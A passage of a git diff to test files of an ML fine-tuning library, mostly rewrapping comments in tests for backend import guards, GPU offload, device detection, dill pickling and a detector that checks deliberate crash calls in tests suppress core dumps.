trailing-comma guard must not match gemma3n: gemma3n is not in# DISABLE_SDPA_MODEL_NAMES, so it stays a conservative (not known-wrong) model and an- # explicit sdpa request is still honored. Proves the substring match neither over- nor- # under-matches.+ # explicit sdpa request is still honored. head_dim>256 disables flash to mirror the real+ # flash-disabled scenario. Proves the substring match neither over- nor under-matches.config = {"model_type": "gemma3n", "head_dim": 512}result = resolve_attention_implementation(model_class = None,diff --git a/tests/test_broken_tf_does_not_break_import.py b/tests/test_broken_tf_does_not_break_import.pyindex 1f75cdcd958..e693b55e797 100644--- a/tests/test_broken_tf_does_not_break_import.py+++ b/tests/test_broken_tf_does_not_break_import.py@@ -66,9 +66,9 @@ def _working_tensorflow(tmp_path):return site-# Every variable Transformers reads to pick a backend. `USE_TORCH` belongs here-# too: `_tf_available` is gated on `USE_TORCH not in ENV_VARS_TRUE_VALUES`, so an-# inherited `USE_TORCH=1` forces it False whatever is on the path.+# Every variable Transformers reads to pick a backend.+# `USE_TORCH` belongs here too: `_tf_available` is gated on `USE_TORCH not in ENV_VARS_TRUE_VALUES`, so an inherited+# `USE_TORCH=1` forces it False whatever is on the path._BACKEND_ENV = ("USE_TF", "USE_FLAX", "USE_TORCH", "FORCE_TF_AVAILABLE")@@ -154,7 +154,7 @@ def _guard_block():def test_the_backends_are_opted_out_of_before_transformers_loads():block = _guard_block()assert block is not None, "the opt-out block is gone"- # Run the block rather than grep its source: that tracked the spelling.+ # Run the block rather than grep its source: grepping only tracked the spelling.environ = {}_exec_guard({}, environ)assert environ.get("USE_TF") == "0"@@ -254,7 +254,6 @@ def test_the_environment_branch_honours_an_already_imported_backend():def test_a_broken_backend_still_loses_when_transformers_came_first(tmp_path):"""The regression: `_tf_available` was cached True before Unsloth got a say."""_needs_unsloth()- # `getattr`, because 5.x has no such flag; "TF never loads" still asserts.out = _run("""import transformers@@ -277,6 +276,7 @@ def test_a_broken_backend_still_loses_when_transformers_came_first(tmp_path):def test_the_environment_path_still_covers_the_transformers_not_loaded_case(tmp_path):_needs_unsloth()+ # `getattr`, because 5.x has no such flag; "TF never loads" still asserts.out = _run("""import unsloth, os, sys@@ -322,7 +322,6 @@ def test_an_imported_backend_is_not_opted_out_when_transformers_comes_later(tmp_out = _run_env_branch(tmp_path, "import tensorflow", site)assert out.returncode == 0, out.stderr[-3000:]assert "ENV_USE_TF None" in out.stdout, out.stdout- # The backend nobody is using still gets opted out.assert "ENV_USE_FLAX 0" in out.stdout, out.stdout# Only 4.x has a flag to read, and `_v4_names()` is empty without Transformers.if _v4_names().get("_tf_available"):@@ -342,6 +341,7 @@ def test_a_broken_uninvolved_backend_is_still_opted_out(tmp_path):out = _run_env_branch(tmp_path, "", _fake_tensorflow(tmp_path))assert out.returncode == 0, out.stderr[-3000:]assert "ENV_USE_TF 0" in out.stdout, out.stdout+ # The backend nobody is using still gets opted out.assert "ENV_USE_FLAX 0" in out.stdout, out.stdoutdiff --git a/tests/test_broken_torchvision_probe.py b/tests/test_broken_torchvision_probe.pyindex 9860b5dd82f..9a51a574bce 100644--- a/tests/test_broken_torchvision_probe.py+++ b/tests/test_broken_torchvision_probe.py@@ -57,8 +57,7 @@ def test_the_other_shapes_of_the_same_break_are_recognised(message):@pytest.mark.parametrize("message",[- # A CPU-only or driverless box: torchvision cannot load, and that is- # not what this probe is for.+ # A CPU-only or driverless box: torchvision cannot load, and that is not what this probe is for."libcuda.so.1: cannot open shared object file: No such file or directory","libnvrtc.so: cannot open shared object file: No such file or directory","/lib/libjpeg.so: undefined symbol: jpeg_resync_to_restart",@@ -179,9 +178,6 @@ def test_the_skip_variable_still_skips_everything():probe.assert_not_called()-# --- the repair command has to name a wheel that matches the installed torch -----def test_the_repair_names_the_wheel_for_this_torch_patch():"""`0.22.*` on a torch 2.7.0 host resolves torchvision 0.22.1, which requirestorch 2.7.1, and `--no-deps` then keeps the 2.7.0 that does not match it. The@@ -248,8 +244,8 @@ def test_the_repair_command_keeps_the_backend_torch_was_built_for():)return str(excinfo.value)- # CUDA families included: PyPI ships exactly one of them, so `cu118only*`- # (pyproject.toml:176) is as mismatched against PyPI's build as ROCm is.+ # CUDA families included: PyPI ships exactly one of them, so the `cu118only*` extras in pyproject.toml are as+ # mismatched against PyPI's build as ROCm is.for tag in ("rocm6.3", "rocm6.2.4", "xpu", "cpu", "cu118", "cu126", "cu128"):command = advice(f"2.7.0+{tag}")assert f"--index-url https://download.pytorch.org/whl/{tag}" in command, command@@ -318,8 +314,8 @@ def test_a_conda_torch_is_not_sent_to_pypis_torchvision(tmp_path):conda = advice("2.5.1")assert "pip install" not in conda, condaassert "torch==2.5.1" in conda, conda- # A different version in the same prefix is pip's, and still gets pip's- # command: only the exact match is conda's.+ # A different version in the same prefix is pip's, and still gets pip's command: only the exact match is+ # conda's.assert "pip install" in advice("2.6.0")# Without the ledger nothing changes: an absent tag still means PyPI.diff --git a/tests/test_callback_signature_drift.py b/tests/test_callback_signature_drift.pyindex 11d32b321b3..a55660c696b 100644--- a/tests/test_callback_signature_drift.py+++ b/tests/test_callback_signature_drift.py@@ -21,7 +21,6 @@ import sysREPO_ROOT = pathlib.Path(__file__).resolve().parent.parent-# Skip noisy paths during file discovery.SKIP_PARTS = {".git",".out",@@ -33,7 +32,6 @@ SKIP_PARTS = {"venv",".pytest_cache","__pycache__",- # studio frontend is JS/TS plus a few stub .py files; skip."frontend",}@@ -52,7 +50,6 @@ def _iter_py(root: pathlib.Path):yield p-# Parse cache so each file is parsed once across the run._PARSE_CACHE: dict[pathlib.Path, ast.AST | None] = {}@@ -76,7 +73,6 @@ def _callback_list_attrs_in_class(cls: ast.ClassDef) -> set[str]:"""Find self._<name>_callbacks attributes assigned or appended-to inside cls."""found = set()for node in ast.walk(cls):- # self._x_callbacks = [...]if isinstance(node, ast.Assign):for t in node.targets:if (@@ -87,7 +83,6 @@ def _callback_list_attrs_in_class(cls: ast.ClassDef) -> set[str]:and t.attr.endswith("_callbacks")):found.add(t.attr)- # self._x_callbacks.append(fn)if (isinstance(node, ast.Call)and isinstance(node.func, ast.Attribute)@@ -152,8 +147,8 @@ def _func_arity(node: ast.AST) -> tuple[int, bool] | None:args = node.argsarity = len(args.posonlyargs) + len(args.args)accepts_var = args.vararg is not None- # Don't subtract self: we can't tell statically if this is a method, and the- # consumer check skips `self.fn` registrations anyway.+ # Don't subtract self: we can't tell statically if this is a method, and the consumer check skips `self.fn`+ # registrations anyway.return arity, accepts_var@@ -189,7 +184,6 @@ def check_registrations(tree = _safe_parse(src)if tree is None:continue- # All function/lambda defs in this file, keyed by name.defs_by_name: dict[str, ast.AST] = {}for node in ast.walk(tree):if isinstance(node, (ast.FunctionDef, ast.AsyncFunctionDef)):@@ -201,7 +195,6 @@ def check_registrations(and isinstance(node.targets[0], ast.Name)):defs_by_name[node.targets[0].id] = node.value- # Find <x>.add_*_callback(fn) sites.for call in ast.walk(tree):if not isinstance(call, ast.Call):continuediff --git a/tests/test_cli_export_unpacking.py b/tests/test_cli_export_unpacking.pyindex aa89efb29e9..f35c44e31b7 100644--- a/tests/test_cli_export_unpacking.py+++ b/tests/test_cli_export_unpacking.py@@ -77,8 +77,8 @@ def cli_app(monkeypatch: pytest.MonkeyPatch) -> typer.Typer:app = typer.Typer()app.command("export")(export_cmd.export)- # Typer flattens a single-command app, making "export" look like a stray positional;- # a harmless second command keeps "export" a real subcommand.+ # Typer flattens a single-command app, making "export" look like a stray positional; a harmless second command keeps+ # "export" a real subcommand.@app.command("noop")def _noop() -> None: # pragma: no cover - only exists to pin routingpass@@ -123,7 +123,6 @@ def test_cli_export_unpacks_three_tuple(f"Output:\n{result.output}\n"f"Exception: {result.exception!r}")- # Fake backend's success message should reach stdout.expected_prefix = format_flag.split("-")[0]assert f"{expected_prefix} ok" in result.outputdiff --git a/tests/test_compressed_export_gpu_release.py b/tests/test_compressed_export_gpu_release.pyindex d67b86ead40..6508a5c6e5b 100644--- a/tests/test_compressed_export_gpu_release.py+++ b/tests/test_compressed_export_gpu_release.py@@ -120,7 +120,7 @@ def test_dispatched_multi_gpu_model_is_released_and_redispatched(_fake_accelerattoken = ns["_offload_model_for_quantize_subprocess"](model)- assert _fake_accelerate["removed"] == [model] # hooks removed before the move+ assert _fake_accelerate["removed"] == [model]assert model.moved_to == ["cpu"]assert token == ("dispatch", device_map)@@ -129,8 +129,7 @@ def test_dispatched_multi_gpu_model_is_released_and_redispatched(_fake_acceleratdef test_dispatched_move_failure_redispatches_and_returns_none(_fake_accelerate):- # If .to("cpu") raises after the hooks came off, the model must be re-dispatched,- # not left hookless and half-moved.+ # If .to("cpu") raises after the hooks came off, the model must be re-dispatched, not left hookless and half-moved.ns = _load_helpers(_fake_torch(), _FakeLogger())device_map = {"model.embed": 0, "model.layers.1": 1}@@ -141,8 +140,8 @@ def test_dispatched_move_failure_redispatches_and_returns_none(_fake_accelerate)model = _MoveFails(device_map = device_map, devices = ("cuda:0", "cuda:1"))token = ns["_offload_model_for_quantize_subprocess"](model)assert token is None # offload aborted- assert _fake_accelerate["removed"] == [model] # hooks were removed...- assert _fake_accelerate["dispatched"] == [(model, device_map)] # ...then restored+ assert _fake_accelerate["removed"] == [model]+ assert _fake_accelerate["dispatched"] == [(model, device_map)]def test_single_device_move_failure_restores_and_returns_none():@@ -166,8 +165,8 @@ def test_single_device_move_failure_restores_and_returns_none():def test_cpu_spilled_map_still_releases_its_gpu_shards(_fake_accelerate):- # One module spilled to CPU, but the rest is the GPU memory the reload needs, and- # the spilled weights are already in host RAM, so the move is safe.+ # One module spilled to CPU, but the rest is the GPU memory the reload needs, and the spilled weights are already in+ # host RAM, so the move is safe.ns = _load_helpers(_fake_torch(), _FakeLogger())device_map = {"model.embed": 0, "model.layers.0": 1, "model.layers.9": "cpu"}model = _FakeModel(device_map = device_map)@@ -183,8 +182,7 @@ def test_cpu_spilled_map_still_releases_its_gpu_shards(_fake_accelerate):def test_disk_offloaded_map_is_left_alone(_fake_accelerate):- # disk/meta entries are not on the model, so moving would materialize the whole- # checkpoint into RAM.+ # disk/meta entries are not on the model, so moving would materialize the whole checkpoint into RAM.ns = _load_helpers(_fake_torch(), _FakeLogger())model = _FakeModel(device_map = {"model.embed": 0, "model.layers.9": "disk"})assert ns["_offload_model_for_quantize_subprocess"](model) is None@@ -213,8 +211,7 @@ def test_single_device_model_keeps_plain_move():def test_quantized_model_is_released_when_the_stack_allows_it():- # Unsloth exports load 4-bit by DEFAULT, so skipping quantized models left a shard- # on every GPU. Release them too where the move is accepted.+ # Unsloth exports load 4-bit by DEFAULT, so skipping quantized models left a shard on every GPU.ns = _load_helpers(_fake_torch(), _FakeLogger())model = _FakeModel(devices = ("cuda:0",), quantized = True)token = ns["_offload_model_for_quantize_subprocess"](model)@@ -223,8 +220,8 @@ def test_quantized_model_is_released_when_the_stack_allows_it():def test_quantized_model_that_refuses_to_move_is_left_usable():- # transformers rejects .to() for some bitsandbytes builds and raises before- # anything moves, so the old behaviour must hold: no token, nothing escaping.+ # transformers rejects .to() for some bitsandbytes builds and raises before anything moves, so the old behaviour+ # must hold: no token, nothing escaping.ns = _load_helpers(_fake_torch(), _FakeLogger())class _Refuses(_FakeModel):@@ -257,8 +254,8 @@ def test_restore_failure_warns_instead_of_raising(_fake_accelerate):def test_lora_merge_budgets_per_device():- # A merged tensor W lives on the GPU of its source layer, so budget against W's- # own device, not GPU0, else a sharded model OOMs GPU1+ (#7053).+ # A merged tensor W lives on the GPU of its source layer, so budget against W's own device, not GPU0, else a+ # sharded model OOMs GPU1+ (#7053).src = _SAVE_PY.read_text(encoding = "utf-8")tree = ast.parse(src)fn = next(@@ -288,8 +285,7 @@ def _fake_torch_xpu():def test_dispatched_xpu_model_is_released(_fake_accelerate):- # torchao runs on Intel GPUs too, so an XPU-dispatched shard must release exactly- # like a CUDA one.+ # torchao runs on Intel GPUs too, so an XPU-dispatched shard must release exactly like a CUDA one.ns = _load_helpers(_fake_torch_xpu(), _FakeLogger())device_map = {"model.embed": "xpu:0", "model.layers.0": "xpu:1"}model = _FakeModel(device_map = device_map, devices = ("xpu:0", "xpu:1"))@@ -419,8 +415,8 @@ def test_offload_failure_is_logged_not_swallowed():def test_restore_without_a_snapshot_forwards_skip_keys(_fake_accelerate):- # dispatch_model() defaults skip_keys to None, which moves every forward kwarg to- # the executing device, wrong for tensors transformers marks device-invariant.+ # dispatch_model() defaults skip_keys to None, which moves every forward kwarg to the executing device, wrong for+ # tensors transformers marks device-invariant.ns = _load_helpers(_fake_torch(), _FakeLogger())device_map = {"model.embed": 0, "model.layers.0": 1}model = _FakeModel(device_map = device_map, devices = ("cuda:0", "cuda:1"))@@ -449,7 +445,6 @@ def test_snapshot_restores_a_forward_patched_after_the_dispatch(_fake_acceleratesnapshot = ns["_snapshot_dispatch_state"](root)- # what accelerate's removal doesdel mlp.__dict__["_hf_hook"]mlp.forward = mlp._old_forwarddel mlp.__dict__["_old_forward"]@@ -488,7 +483,6 @@ def test_snapshot_reties_shared_parameters(_fake_accelerate):snapshot = ns_ties = ns["_snapshot_dispatch_state"](root)assert ns_ties[3] == [["embed.weight", "head.weight"]]- # what the replay leaves behind before the retie steproot._modules["head"]._parameters["weight"] = torch.nn.Parameter(shared.detach().clone())assert (root._modules["embed"]._parameters["weight"].data_ptr()diff --git a/tests/test_cuda_spoof_reports_free_memory.py b/tests/test_cuda_spoof_reports_free_memory.pyindex 8d45ceb0eef..44adb436611 100644--- a/tests/test_cuda_spoof_reports_free_memory.py+++ b/tests/test_cuda_spoof_reports_free_memory.py@@ -52,8 +52,7 @@ def _memory_tuples(path):if not (isinstance(value, ast.Tuple) and len(value.elts) == 2):continuetry:- # `literal_eval` cannot fold `60 * 1024**3`, so evaluate with- # nothing in scope instead.+ # `literal_eval` cannot fold `60 * 1024**3`, so evaluate with nothing in scope instead.found.append(tuple(eval(ast.unparse(e), {"__builtins__": {}}, {}) for e in value.elts))diff --git a/tests/test_deliberate_crashes_suppress_cores.py b/tests/test_deliberate_crashes_suppress_cores.pyindex 486ce555901..9fe224f2e72 100644--- a/tests/test_deliberate_crashes_suppress_cores.py+++ b/tests/test_deliberate_crashes_suppress_cores.py@@ -62,24 +62,24 @@ _SKIP_DIRS = {".git", "node_modules", "__pycache__", ".venv", "venv", "temp", "b# Calls that can only be a deliberate fatal fault, keyed by the trailing attribute.# `arg0` is a required literal first argument, `owners` a set of acceptable receivers.-# `abort` needs the receiver check: Playwright's `route.abort()` and a thread's-# `.abort()` are ordinary calls that share the name and crash nothing.+# `abort` needs the receiver check: Playwright's `route.abort()` and a thread's `.abort()` are ordinary calls that share+# the name and crash nothing._CRASH_CALLS = {"string_at": {"arg0": 0}, # ctypes.string_at(0) -> strlen(NULL) -> SIGSEGV"abort": {"owners": ("os", "ctypes", "libc", "CDLL")}, # -> SIGABRT"_sigsegv": {}, # faulthandler._sigsegv()}-# Textual form of the same, for snippets handed to a child interpreter._CRASH_MARKERS = ("string_at(0)", "os.abort()", "_sigsegv(")-# Only a deliberate crash when aimed at a core-dumping signal. `raise_signal(signum)`-# re-raising SIGINT after restoring the default handler is the normal terminal-prompt-# idiom and must not be flagged.+# Only a deliberate crash when aimed at a core-dumping signal.+# `raise_signal(signum)` re-raising SIGINT after restoring the default handler is the normal terminal-prompt idiom and+# must not be flagged._SIGNAL_DIRECTED = ("raise_signal(", "os.kill(", ".kill(")_DIRECTED_NAMES = {"raise_signal", "kill"}-# Which argument carries the signal. Checking every argument read the PID in-# `os.kill(11, signal.SIGKILL)` as SIGSEGV and failed CI over a call that cannot dump.+# Which argument carries the signal.+# Checking every argument read the PID in `os.kill(11, signal.SIGKILL)` as SIGSEGV and failed CI over a call that cannot+# dump._SIGNAL_ARG_INDEX = {"raise_signal": 0, "kill": 1}# A signal aimed at self dumps core only for these. SIGKILL, SIGTERM and SIGINT do not,@@ -93,14 +93,12 @@ _FATAL_SIGNAL_RE = re.compile(r"\b(?:" + "|".join(_FATAL_SIGNALS) + r")\b")_PR_SET_DUMPABLE = 4-# Raw-text prefilter, so only files that could match are parsed (32 of ~1050, ~1.5s-# against ~9s). Deliberately looser than `_CRASH_MARKERS`: it only decides what to-# parse, so it should over-match and leave precision to the AST checks. Matching-# `string_at(0)` exactly once skipped `string_at( 0)` before it was ever parsed.+# Raw-text prefilter, so only files that could match are parsed (32 of ~1050, ~1.5s against ~9s).+# Deliberately looser than `_CRASH_MARKERS`: it only decides what to parse, so it should over-match and leave+# precision to the AST checks. Matching `string_at(0)` exactly once skipped `string_at( 0)` before it was ever parsed._PREFILTER = ("string_at(", "abort(", "_sigsegv(") + _SIGNAL_DIRECTED-# An aliased import carries none of the shapes above: `from os import abort as die`-# then `die()` has no "abort(" anywhere. The import spelling is the one text such a-# file must contain, so match that too.+# An aliased import carries none of the shapes above: `from os import abort as die` then `die()` has no "abort("+# anywhere. The import spelling is the one text such a file must contain, so match that too._PREFILTER += ("import abort", "import string_at", "import raise_signal", "import kill")@@ -153,8 +151,7 @@ def _called_name(node):return None-# Matched after stripping underscores and case, so `_libc`, `LibC` and `libc` are one-# name. `tools._libc.prctl(...)` is the convention in test_bypass_permissions.py.+# Matched after stripping underscores and case, so `_libc`, `LibC` and `libc` are one name._LIBC_NAMES = ("cdll", "ctypes", "libc")@@ -193,8 +190,8 @@ def _prctl_dumpable_value(node, libc = ()):"""if _called_name(node) != "prctl" or len(node.args) < 2:return None- # The receiver matters: a test's `fake.prctl(4, 1)` mock touches no kernel state, and- # crediting it let a mock override the real suppression on the line above.+ # The receiver matters: a test's `fake.prctl(4, 1)` mock touches no kernel state, and crediting it let a mock+ # override the real suppression on the line above.if not isinstance(node.func, ast.Attribute) or not _is_libc_handle(node.func.value, libc):return Nonecmd, value = node.args[0], node.args[1]@@ -324,16 +321,16 @@ def _snippets(tree):env,depth = 0,):- # A deeply nested literal is not a command vector, and recursing all the way- # into one raised RecursionError out of a file the scan only wanted to skim.+ # A deeply nested literal is not a command vector, and recursing all the way into one raised RecursionError out+ # of a file the scan only wanted to skim.if depth > _MAX_COLLECT_DEPTH:returnif isinstance(node, ast.Constant) and isinstance(node.value, str):out.append(node.value)elif isinstance(node, ast.JoinedStr):- # An f-string reaches the child as a script like any other. Keep its- # literal parts: the interpolations cannot be known here, and dropping the- # whole thing let `f"import os; os.abort(); print({v})"` through unread.+ # An f-string reaches the child as a script like any other. Keep its literal parts: the interpolations+ # cannot be known here, and dropping the whole thing let `f"import os; os.abort(); print({v})"` through+ # unread.out.append("".join(part.value@@ -346,9 +343,6 @@ def _snippets(tree):out.append(env[node.id])elif node.id in sequences:# `CMD = [sys.executable, "-c", SCRIPT]` then `subprocess.run(CMD)`.- # A command vector built once and passed by name is ordinary- # subprocess usage, and folding only strings meant the child script- # inside it was never read.for element in sequences[node.id]:collect(element, env, depth + 1)elif isinstance(node, (ast.List, ast.Tuple, ast.Set)):@@ -422,15 +416,15 @@ def _is_crash_call(node, aliases = None) -> bool:return False# Only the signal argument, so a PID never reads as a signal.signal_argument = node.args[index]- # A string delivers nothing: `raise_signal("SIGQUIT")` is a TypeError, and the- # quoted name survives unparsing and matched as though it were the symbol.+ # A string delivers nothing: `raise_signal("SIGQUIT")` is a TypeError, and the quoted name survives unparsing and+ # matched as though it were the symbol.if isinstance(signal_argument, ast.Constant) and isinstance(signal_argument.value, str):return Falserendered = ast.unparse(signal_argument)if _FATAL_SIGNAL_RE.search(rendered):return True- # Numeric signals. `signal.raise_signal(11)` and `os.kill(pid, 6)` dump exactly the- # same core as the named forms, so matching only symbolic names missed them.+ # Numeric signals. `signal.raise_signal(11)` and `os.kill(pid, 6)` dump exactly the same core as the named forms,+ # so matching only symbolic names missed them.return (isinstance(signal_argument, ast.Constant) and signal_argument.value in _FATAL_SIGNAL_NUMBERS)@@ -448,8 +442,8 @@ def _enclosing_scopes(tree):walk(next_scope, child)if not is_scope:continue- # Defaults and annotations run where the def sits, so they belong to the- # enclosing scope. A further scope nested inside one of them keeps its own.+ # Defaults and annotations run where the def sits, so they belong to the enclosing scope.+ # A further scope nested inside one of them keeps its own.for part in _definition_time(child):for inner in ast.walk(part):if owner.get(id(inner)) is child:@@ -567,8 +561,8 @@ def _helper_leaves_dumpable(libc = (),):"""What a bare call to a local helper leaves dumpability at, else None."""- # Bare calls only, as in _suppressed: `obj.restore()` shares its trailing name with- # a local `def restore` but need not be it.+ # Bare calls only, as in _suppressed: `obj.restore()` shares its trailing name with a local `def restore` but need+ # not be it.if not isinstance(call.func, ast.Name):return Nonetarget = functions.get(call.func.id)@@ -580,8 +574,8 @@ def _helper_leaves_dumpable(# Calling an `async def` builds a coroutine and runs none of its body.if isinstance(target, ast.AsyncFunctionDef) and not _is_awaited(call, scope):return None- # Body only: a default or decorator on the helper ran at definition time, so it is- # not something calling the helper does again.+ # Body only: a default or decorator on the helper ran at definition time, so it is not something calling the helper+ # does again.writes = [wfor statement in target.body@@ -629,14 +623,14 @@ def _suppressed(position = _position(node)if _clears_dumpable_before(scope, position, inherited, functions, libc):return True- # Following one level of local helper covers `suppress_core()` then the fault,- # which is the natural shape once more than one test needs this.+ # Following one level of local helper covers `suppress_core()` then the fault, which is the natural shape once more+ # than one test needs this.for called in _iter_executable(scope):if not isinstance(called, ast.Call) or _position(called) >= position:continue- # Bare calls only. `obj.suppress_core()` shares its trailing name with a local- # `def suppress_core`, and crediting the local one there means an object method- # that may clear nothing at all is taken as proof the fault is covered.+ # Bare calls only. `obj.suppress_core()` shares its trailing name with a local `def suppress_core`, and+ # crediting the local one there means an object method that may clear nothing at all is taken as proof the fault+ # is covered.if not isinstance(called.func, ast.Name):continuetarget = functions.get(called.func.id)@@ -727,12 +721,12 @@ def _bindings_before(tree, scope, position):the old value on `if False: INNER = "pass"` lost the crash it replaced."""env, maybe = {}, {}- # Python binds a name locally for the whole function if it is assigned anywhere in- # it, so a global of that name is never what the body reads, even above the assign.+ # Python binds a name locally for the whole function if it is assigned anywhere in it, so a global of that name is+ # never what the body reads, even above the assign.shadowed = _rebound_names(scope) if scope is not tree else ()for owner_scope in (tree, scope) if scope is not tree else (tree,):- # A nested scope runs after the module body, so a global assigned below the- # `def` is still bound by the time the call gets there.+ # A nested scope runs after the module body, so a global assigned below the `def` is still bound by the time the+ # call gets there.limit = _AFTER_EVERYTHING if owner_scope is tree and scope is not tree else positionfor node, certain in _assignments_before(owner_scope, limit):pair = _assigned_pair(node)@@ -782,8 +776,8 @@ def _nested_scripts(tree, inherited = False):argument = node.args[0] if node.args else None# Bindings AT the exec, so a name reused afterwards is not what runs.env, maybe = _bindings_before(tree, scope, _position(node))- # Same interpreter, so dumpability carries into the payload, including- # a restore a helper made between the clear and the exec.+ # Same interpreter, so dumpability carries into the payload, including a restore a helper made between the+ # clear and the exec.carried = _clears_dumpable_before(scope,_position(node),@@ -905,8 +899,8 @@ If you only need the child to vanish rather than to take a specific signal, useSIGKILL instead. SIGKILL never produces a core."""-# Each of these is a way the detector was fooled before, kept as a fixture so the fix-# stays fixed. `want_violations` is whether the file should be reported.+# Each of these is a way the detector was fooled before, kept as a fixture so the fix stays fixed.+# `want_violations` is whether the file should be reported._FIXTURES = {"crash_written_as_real_code": ("import ctypes\ndef child():\n ctypes.string_at(0)\n",@@ -1057,8 +1051,8 @@ _FIXTURES = {"def go(route, task):\n route.abort('failed')\n task.abort()\n",False, # Playwright and friends share the name and crash nothing),- # Seven more the detector got wrong, each found by reading it rather than by a- # failing run. Four let a real core dump through; three failed CI on safe code.+ # Seven more the detector got wrong, each found by reading it rather than by a failing run. Four let a real core+ # dump through; three failed CI on safe code."a_pid_that_looks_like_a_signal": ("import os, signal\ndef stop():\n os.kill(11, signal.SIGKILL)\n",False, # 11 is the PID here, and SIGKILL never dumpsdiff --git a/tests/test_device_helpers.py b/tests/test_device_helpers.pyindex c06c8f8d901..78bf40c505c 100644--- a/tests/test_device_helpers.py+++ b/tests/test_device_helpers.py@@ -22,9 +22,9 @@ def _load_device_type(mlx_available = False,allow_cpu = False,):- # Always pinned, never inherited. UNSLOTH_ALLOW_CPU short-circuits- # get_device_type() to "cuda", so a GPU-less host that exports it silently- # rewrites what the hip and xpu cases are testing.+ # Always pinned, never inherited.+ # UNSLOTH_ALLOW_CPU short-circuits get_device_type() to "cuda", so a GPU-less host that exports it silently rewrites+ # what the hip and xpu cases are testing.if allow_cpu:monkeypatch.setenv("UNSLOTH_ALLOW_CPU", "1")else:@@ -145,8 +145,8 @@ def test_xpu_cache_and_current_device_dispatch(monkeypatch):def test_cpu_fallback_does_not_override_mlx(monkeypatch):- # UNSLOTH_ALLOW_CPU used to be checked first, so an MLX Mac reported "cuda"- # and get_device_count() then hit torch, which is never imported there.+ # UNSLOTH_ALLOW_CPU used to be checked first, so an MLX Mac reported "cuda" and get_device_count() then hit torch,+ # which is never imported there.device_type = _load_device_type(monkeypatch,torch_module = None,diff --git a/tests/test_dill_module_by_value_fix.py b/tests/test_dill_module_by_value_fix.pyindex a1213ec520d..dc8e3b12cbd 100644--- a/tests/test_dill_module_by_value_fix.py+++ b/tests/test_dill_module_by_value_fix.py@@ -52,16 +52,14 @@ pytest.importorskip("dill")# --------------------------------------------------------------------------_HOSTILE_TREE = {- # The pyarrow stand-in. The fix's gate asks whether `datasets` or `pyarrow`- # resolve to somewhere dill pickles by value, and answers from the SPEC, so- # this file is never executed and needs no content.+ # The pyarrow stand-in.+ # The fix's gate asks whether `datasets` or `pyarrow` resolve to somewhere dill pickles by value, and answers from+ # the SPEC, so this file is never executed and needs no content."pyarrow.py": "VERSION = '0'\n",- # The class that cannot be pickled by reference. Both properties are taken- # from the real `MonthDayNano` and both are necessary: `__module__ =- # "builtins"`, where the class is not found, as pyarrow's Cython types do;- # and a self-reference, which puts it in dill's postproc list so the second- # encounter takes `save_global` rather than writing the class out by value- # and succeeding.+ # The class that cannot be pickled by reference.+ # Both properties are taken from the real `MonthDayNano` and both are necessary: `__module__ = "builtins"`, where+ # the class is not found, as pyarrow's Cython types do; and a self-reference, which puts it in dill's postproc list+ # so the second encounter takes `save_global` rather than writing the class out by value and succeeding."ovmod.py": textwrap.dedent("""class Sneaky:@@ -71,13 +69,11 @@ _HOSTILE_TREE = {Sneaky.__module__ = "builtins""""),- # The function dill has to save, in the shape datasets uses. NESTED, and- # that is the whole reason this reproduces: `_save_arrowTable` defines- # `create_arrowTable` inside itself, dill's `_locate_function` cannot find a- # `<locals>` qualname at module level, so it saves BY VALUE, walks the- # globals with `recurse=True` and reaches the module. A module-level- # function would be saved by reference and never look at pyarrow -- which is- # why datasets 4.3.0, whose reducer skips this path, is unaffected.+ # The function dill has to save, in the shape datasets uses.+ # NESTED, and that is the whole reason this reproduces: `_save_arrowTable` defines `create_arrowTable` inside+ # itself, dill's `_locate_function` cannot find a `<locals>` qualname at module level, so it saves BY VALUE, walks+ # the globals with `recurse=True` and reaches the module. A module-level function would be saved by reference+ # and never look at pyarrow, which is why datasets 4.3.0, whose reducer skips this path, is unaffected."ovuser.py": textwrap.dedent("""import ovmod@@ -88,21 +84,19 @@ _HOSTILE_TREE = {return create_arrowTable"""),- # The user's OWN module, in the same directory, as `pip install --target .`- # and a Lambda bundle produce. No distribution claims it, so it keeps dill's- # by-value treatment and its state stays inside the fingerprint.+ # The user's OWN module, in the same directory, as `pip install --target .` and a Lambda bundle produce. No+ # distribution claims it, so it keeps dill's by-value treatment and its state stays inside the fingerprint."projcfg.py": "VALUE = 1\n",- # What pip writes beside the packages it installs. Two distributions so- # both readers are exercised: `top_level.txt`, and RECORD, the only metadata- # a modern wheel is guaranteed to carry.+ # What pip writes beside the packages it installs.+ # Two distributions so both readers are exercised: `top_level.txt`, and RECORD, the only metadata a modern wheel is+ # guaranteed to carry."pyarrow-0.0.dist-info/RECORD": "pyarrow.py,,\npyarrow-0.0.dist-info/RECORD,,\n","ovdep-0.0.dist-info/top_level.txt": "ovmod\novuser\n","ovdep-0.0.dist-info/RECORD": "ovmod.py,,\novuser.py,,\n",}-# A SECOND off-prefix layer, holding a recorded dependency and nothing the gate-# looks for, so the roots search has to find it from sys.path rather than only-# from wherever `datasets` or `pyarrow` happens to live.+# A SECOND off-prefix layer, holding a recorded dependency and nothing the gate looks for, so the roots search has to+# find it from sys.path rather than only from wherever `datasets` or `pyarrow` happens to live._SECOND_LAYER = {"secondlayer.py": "V = 0\n","secondproj.py": "VALUE = 1\n",@@ -203,10 +197,9 @@ def _run_on_hostile_tree(driver = tmp_path / "driver.py"driver.write_text(_DRIVER, encoding = "utf-8")- # The child venv inherits the BASE prefix's site-packages, not this- # interpreter's, so dill would otherwise be missing when the tests run from- # a venv. Appended AFTER the overlay, and a real site-packages directory, so- # dill itself stays on the by-reference side of its own rule.+ # The child venv inherits the BASE prefix's site-packages, not this interpreter's, so dill would otherwise be+ # missing when the tests run from a venv. Appended AFTER the overlay, and a real site-packages directory, so dill+ # itself stays on the by-reference side of its own rule.import sysconfigenv = dict(os.environ)@@ -275,8 +268,8 @@ def test_a_co_located_project_module_keeps_its_by_value_state(tmp_path):"pyarrow": True,"ovmod": True,"projcfg": False,- # A recorded dependency in a SECOND off-prefix layer, found from- # sys.path rather than from wherever pyarrow happens to live.+ # A recorded dependency in a SECOND off-prefix layer, found from sys.path rather than from wherever pyarrow+ # happens to live."secondlayer": True,# And that layer's own unrecorded project module is untouched."secondproj": False,@@ -338,9 +331,8 @@ def test_the_widening_only_covers_modules_that_import_back():dill treats the user's own script."""from unsloth.import_fixes import _dill_module_is_importable_by_name- # Every call now carries the install ROOTS and the names installed there,- # because the widening is scoped to both; `json` stands in for a library- # that landed in one.+ # Every call now carries the install ROOTS and the names installed there, because the widening is scoped to both;+ # `json` stands in for a library that landed in one.package_dir = 